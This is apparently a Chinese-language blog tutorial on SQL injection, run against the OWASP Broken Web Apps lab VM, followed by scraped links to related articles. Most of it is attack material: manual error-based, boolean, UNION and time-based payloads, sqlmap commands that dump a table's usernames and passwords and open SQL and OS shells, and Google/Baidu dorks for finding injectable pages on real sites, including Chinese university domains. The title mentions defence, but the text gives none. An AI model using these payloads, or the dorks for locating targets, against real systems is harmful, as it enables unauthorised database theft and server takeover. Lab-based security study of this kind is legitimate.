SQL注入攻击及防御

1.项目实验环境

目标靶机OWASP_Broken_Web_App_VM_1.2:

https://sourceforge.net/projects/owaspbwa/files/latest/download

测试渗透机: Kali-Linux-VM-amd64

https://cdimage.kali.org/kali-2023.1/kali-linux-2023.1-vmware-amd64.7z

2.SQL注入危害

1、拖库导致用户数据泄漏;

2、危害web等应用的安全;

3、失去操作系统的控制权;

4、用户信息被非法买卖;

5、危害企业及国家的安全!

3.SQL基础回顾

3.1 登录OWASP

项目环境: OwASP
表1 : dvwa.users
表2 : wordpress.wp_users
表3 : mysql.user

3.2 查看数据库

# 查看所有数据库
show databases(); # 查看当前数据库
select database(); # 进入dvwa数据库
use dvwa;

3.3 查看库中的表

# 查看库中所有表
show tables;

3.4 查看表的结构

# 查看表的结构
desc users;
# 或者
describe users;
# 或者
show create table users\G # \G垂直显示

3.5 查看表的记录

# 查看表的记录
select * from users;
# 同
select * from users\G;

3.6 information_schema

information_schema信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。

# 查看所有的表的具体信息
select * from information_schema.tables\G
# 查看所有数据库,DISTINCT(去重)
select DISTINCT table_schema from information_schema.Tables;
# 等价于
show databases;
# 查看所有数据库跟表
select table_schema,table_name from information_schema.tables;
# 把数据库进行分组,组里面有相应的表
select table_schema,group_concat(table_name) from information_schema.tables group by table_schema\G
# 查看相应数据库里所有表
select table_name from information_schema.tables where table_schema='dvwa';
# 等价于
show tables;

==查询数据库库名、表名、字段名information_schema.columns=

# 查看所有的字段的具体信息
select * from information_schema.columns\G
# 查看所有字段名
select column_name from information_schema.columns;
# 查看指定数据库指定表的所有字段
select column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users';
# 查看用户权限表
select column_name from information_schema.columns where table_name = 'user_privileges';
# 数据库特权的信息
select column_name from information_schema.columns where table_name = 'schema_privileges';

4.SQL注入流程

1.判断是否有SQL注入漏洞;

2.判断操作系统、数据库和web应用的类型;

3.获取数据库信息,包括管理员信息及拖库;

4.加密信息破解,sqlmap可自动破解;

5.提升权限,获得sql-shell、os-shell、登录应用后台;

5.手动注入实战

5.1基于错误的注入

错误注入的思路是通过构造特殊的sq1语句,根据得到的错误信息,确认sq1注入点;

通过数据库报错信息,也可以探测到数据库的类型和其他有用信息。

通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是MySQL数据库。

当前面sql所使用的库为dvwa

搜索框正常输入 1

sql语法解析:
select first_name,last_name from dvwa.users;
select first_name,last_name from dvwa.users where user_id = '1';

# 页面报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
# sql注入语法解析:
select first_name,last_name from dvwa.users where user_id = ''';

5.2 基于布尔的注入

布尔逻辑注入的思路是闭合SQL语句、构造or和and逻辑语句、注释多余的代码;

# 原始语句
select first_name,last_name from dvwa.users where user_id = ''; # sql注入语句解析:' or 1=1 -- '
select first_name,last_name from dvwa.users where user_id = ' ' or 1=1 -- ' '; # 说明:
# 第一个' 用于闭合前面的条件
# or 1-1为真的条件
# --空格 将注释后面的所有语句

5.3 基于UNION注入

UNION语句用于联合前面的SELECT查询语句,合并查询更多信息;

一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息。

-- 猜测数据列数
'union select 1 -- '
'union select 1,2 -- '
'union select 1,2,3 -- '
'union select 1,2,3,4 -- '
-- SQL注入语句解析:
select first_name,last_name from dvwa.users where user_id ='' union select 1 -- ''
select first_name,last_name from dvwa.users where user_id ='' union select 1,2 -- ''
-- 获得当前数据库及用户信息
'union select version(), database() -- '
'union select user(), database( ) -- '
select first_name,last_name from dvwa.users where user_id =''union select version(),database() -- ''
select first_name,last_name from dvwa.users where user_id =''union select user(),database() -- '' -- 说明
version() # 获得数据库版本信息
database() # 获得当前数据库名
user() # 获得当前用户名 -- SQL注入语法解析:
select * from information_schema.TABLES\G -- 查询所有库名
select first_name,last_name from dvwa.users where user_id = ''union select table_schema,1 from information_schema.tables -- '' -- 查看所库中所有表名
select first_name,last_name from dvwa.users where user_id = ''union select table_name,1 from information_schema.tables -- '' -- 同时查询表名及对应库名
select first_name,last_name from dvwa.users where user_id = ''union select table_schema,table_name from information_schema.tables -- ''

** **

同样可以用information_schema.columns

5.4 基于时间的盲注

有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点。

没反应

# sql注入语法解析:
select first_name,last_name from dvwa.users where user_id = '1' and sleep(5) -- '

6.sqlmap自动化注入

SQL注入比较好用的工具,首推开源工具SQLmap. SQLmap是 一个国内外著名的安全稳定性测试工具,可以用来进行自动

化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳

定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系

统命令。

SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, sQLite,Firebird, Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

6.1 GET方法注入,POST方法注入

get方式就是页面上能看的到的参数,利用页面能看得到得参数进行注入,比如www.abc.com/index.php?id=1 中id=1 就是能用get方式

POST方式,在浏览器中已经无法查看注入点位置。

url = http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details

 sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' -p 'usernam'

-u 指定一个url连接,url中必须有?xx=xx 才行(最常用的参数)例:-u "www.abc.com/index.php?id=1"
-p:指定参数进行扫描,不是扫描所有参数,这样可以避免浪费时间到非注入点参数上,从而提高扫描效率。

# 列出所有数据库
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --dbs --dbs 枚举DBMS所有的数据库

# 列出所有用户
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --users --users 枚举目标DBMS所有的用户
--current-user 查询目标DBMS当前用户
--current-db 查询目标DBMS当前数据库

-u 指定一个url连接,url中必须有?xx=xx 才行(最常用的参数)例:-u "www.abc.com/index.php?id=1"
-p:指定参数进行扫描,不是扫描所有参数,这样可以避免浪费时间到非注入点参数上,从而提高扫描效率。 --dbs 枚举DBMS所有的数据库
--dbms= 指定具体DBMS --users 枚举目标DBMS所有的用户 --current-user 查询目标DBMS当前用户
--current-db 查询目标DBMS当前数据库 -D db 指定进行枚举的数据库名称
-T table 指定进行枚举的数据库表名称
-C column 指定进行枚举的数据库列名称 --tables 枚举DBMS数据库中所有的表 --dump 存储DBMS数据库的表中的条目
--dump-all 存储DBMS所有数据库表中的条目 --exclude-sysdbs 枚举表时排除系统数据库 --columns 枚举DBMS数据库表中所有的列 --batch 测试过程中, 执行所有默认配置 # 实例步骤
# 1.获得当前数据库
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch --current-db # 2.获得数据库表
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch -D nowasp --tables # 3.获得表的字段
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch -D nowasp -T accounts --columns # 4.获得表中的数据
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch -D nowasp -T accounts -C'username,password' --dump

6.2 Cookie

有些网址注入点在里面就需要带cookie才能访问的注入页面,--cookie=" "

# cookie = "
acgroupswithpersist: nada;
acopendivids: swingset,jotto,phpbb2,redmine;
PHPSESSID: 706kv7odf502nk5qdrrid3b856;
security: low
"
sqlmap -u "http://192.168.1.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="acgroupswithpersist=nada;acopendivids=swingset,jotto,phpbb2,redmine; \
PHPSESSID=706kv7odf502nk5qdrrid3b856;security=low" --batch -p 'id'

6.3 提权操作

# --sql-shell  与数据库交互
# --os-cmd= 执行操作系统命令
# --os-shell 交互式的系统shell sqlmap -u "http://192.168.1.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="acgroupswithpersist=nada;acopendivids=swingset,jotto,phpbb2,redmine; \
PHPSESSID=706kv7odf502nk5qdrrid3b856;security=low" --batch -p 'id' --sql-shell

sql-shell> select * from users;

6. 综合案例

 1. 通过Google搜索可能存在注入的页面
inurl:.php?id=
inurl:.jsp?id=
inurl:.asp?id=
inurl:/admin/login.php
inurl:.php?id= intitle:美女
2. 通过百度搜索可能存在注入的页面
inurl:news.asp?id= site:edu.cn
inurl:news.php?id= site :edu.cn
inurl:news.aspx?id= site:edu.cn

SQL注入攻击及防御的更多相关文章

  1. 《sql注入攻击与防御 第2版》的总结 之 如何确定有sql注入漏洞

    看完<sql注入攻击与防御 第2版>后,发现原来自己也能黑网站了,就一个字:太爽了. 简单总结一下入侵步骤: 1.确定是否有sql注入漏洞 2.确定数据库类型 3.组合sql语句,实施渗透 ...

  2. SQL注入攻击和防御

    部分整理...   什么是SQL注入? 简单的例子, 对于一个购物网站,可以允许搜索,price小于某值的商品 这个值用户是可以输入的,比如,100 但是对于用户,如果输入,100' OR '1'=' ...

  3. SQL参数化查询--最有效可预防SQL注入攻击的防御方式

    参数化查询(Parameterized Query 或 Parameterized Statement)是访问数据库时,在需要填入数值或数据的地方,使用参数 (Parameter) 来给值. 在使用参 ...

  4. web服务端安全之SQL注入攻击

    一.SQL注入攻击的原理攻击者在HTTP请求中,注入恶意的SQL代码,并在服务端执行.比如用户登录,输入用户名camille,密码 ' or '1'='1 ,如果此时使用参数构造的方式,就会出现 ' ...

  5. 实例讲解 SQL 注入攻击

    这是一篇讲解SQL注入的实例文章,一步一步跟着作者脚步探索如何注入成功,展现了一次完整的渗透流程,值得一读.翻译水平有限,见谅! 一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试. ...

  6. Java程序员从笨鸟到菜鸟之(一百零二)sql注入攻击详解(三)sql注入解决办法

    sql注入攻击详解(二)sql注入过程详解 sql注入攻击详解(一)sql注入原理详解 我们了解了sql注入原理和sql注入过程,今天我们就来了解一下sql注入的解决办法.怎么来解决和防范sql注入, ...

  7. 防止SQL注入攻击的一些方法小结

    SQL注入攻击的危害性很大.在讲解其防止办法之前,数据库管理员有必要先了解一下其攻击的原理.这有利于管理员采取有针对性的防治措施. 一. SQL注入攻击的简单示例. statement := &quo ...

  8. SQL注入攻击的种类和防范手段

    观察近来的一些安全事件及其后果,安全专家们已经得到一个结论,这些威胁主要是通过SQL注入造成的.虽然前面有许多文章讨论了SQL注入,但今天所讨论的内容也许可帮助你检查自己的服务器,并采取相应防范措施. ...

  9. php过滤提交数据 防止sql注入攻击

    规则 1:绝不要信任外部数据或输入 关于 Web 应用程序安全性,必须认识到的第一件事是不应该信任外部数据.外部数据(outside data) 包括不是由程序员在 PHP 代码中直接输入的任何数据. ...

  10. CSRF、XSS、clickjacking、SQL 的攻击与防御

    CSRF攻击 原理: 跨站请求伪造.是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法. 网站通过cookie来实现登录功能.而cookie只要存在浏览器中,那么浏览器在访问含有这 ...

随机推荐

  1. VUE中具名插槽和匿名插槽的使用

    在我的项目中由于使用的是vue+element一个自用框架进行开发,插槽用法相较简单 比如在列表字段columns使用slotname即可 <template v-slot:_spec=&quo ...

  2. 一则current日志损坏的数据库恢复实例,隐藏参数的使用

    场景 之前写了一篇文章,是redo日志全部丢失的情况下,数据库实例恢复的方式.但是,这次特殊在,实例恢复失败的情况下.非常规打开数据库(数据库已经不一致了,但是可以通过expdp导出,导出重要的数据) ...

  3. Zeppelin未授权访问 getshell

    Zeppelin未授权访问 getshell 1.漏洞简介 Apache Zeppelin是一个让交互式数据分析变得可行的基于网页的notebook.Zeppelin提供了数据可视化的框架. Zepp ...

  4. 基于改进MFCC特征和卷积递归神经网络的心音分类

    具体的软硬件实现点击http://mcu-ai.com/MCU-AI技术网页_MCU-AI人工智能 心音分类在心血管疾病的早期发现中起着至关重要的作用,特别是对于小型初级卫生保健诊所.尽管近年来心音分 ...

  5. golang计时器

    timer 计时器 用于在指定的Duration类型时间后调用函数或计算表达式. 如果只是想指定时间之后执行,使用time.Sleep() 使用NewTimer(),可以返回的Timer类型在计时器到 ...

  6. Premiere cc 2019之声音处理

    目录 deepin录视频 调整声道 查看声音轨道 转化格式 提取二声道的台词音,或者背景音 降噪 1.无需AU!PR自带音频模块完美实现降噪.增强人声.模拟环境 2.Adobe audition中降噪 ...

  7. Linux中的which whereis locate

    which which会在PATH环境中搜寻可执行文件 whereis Linux会将系统里面所有的文件都搜集到一个数据库文件中,whereis从这个数据库文件里面寻找文件 locate locate ...

  8. DNS(3) -- dns常用命令-rndc-dig-host-nslookup

    目录 1 bind自带客户端命令 1.1 rndc命令 1.2 检查配置文件语法 2 客户端测试命令 2.1 dig命令 2.2 host命令 2.3 nslookup命令 1 bind自带客户端命令 ...

  9. JS制作日历小事件和数码时钟--JavaScript实例集锦(初学)

    运用JS的innerHTML,和for循环实现日历小部件内容和日期的转换. <!DOCTYPE html> <html> <head> <title>日 ...

  10. JavaScript 数组常用方法整理

    数组变异方法 push() 数组末尾添加一个项目,返回新数组长度,arr.push(item)pop() 数组末尾删除一个元素,返回被删除元素,arr.pop()shift() 删除数组开头第1个元素 ...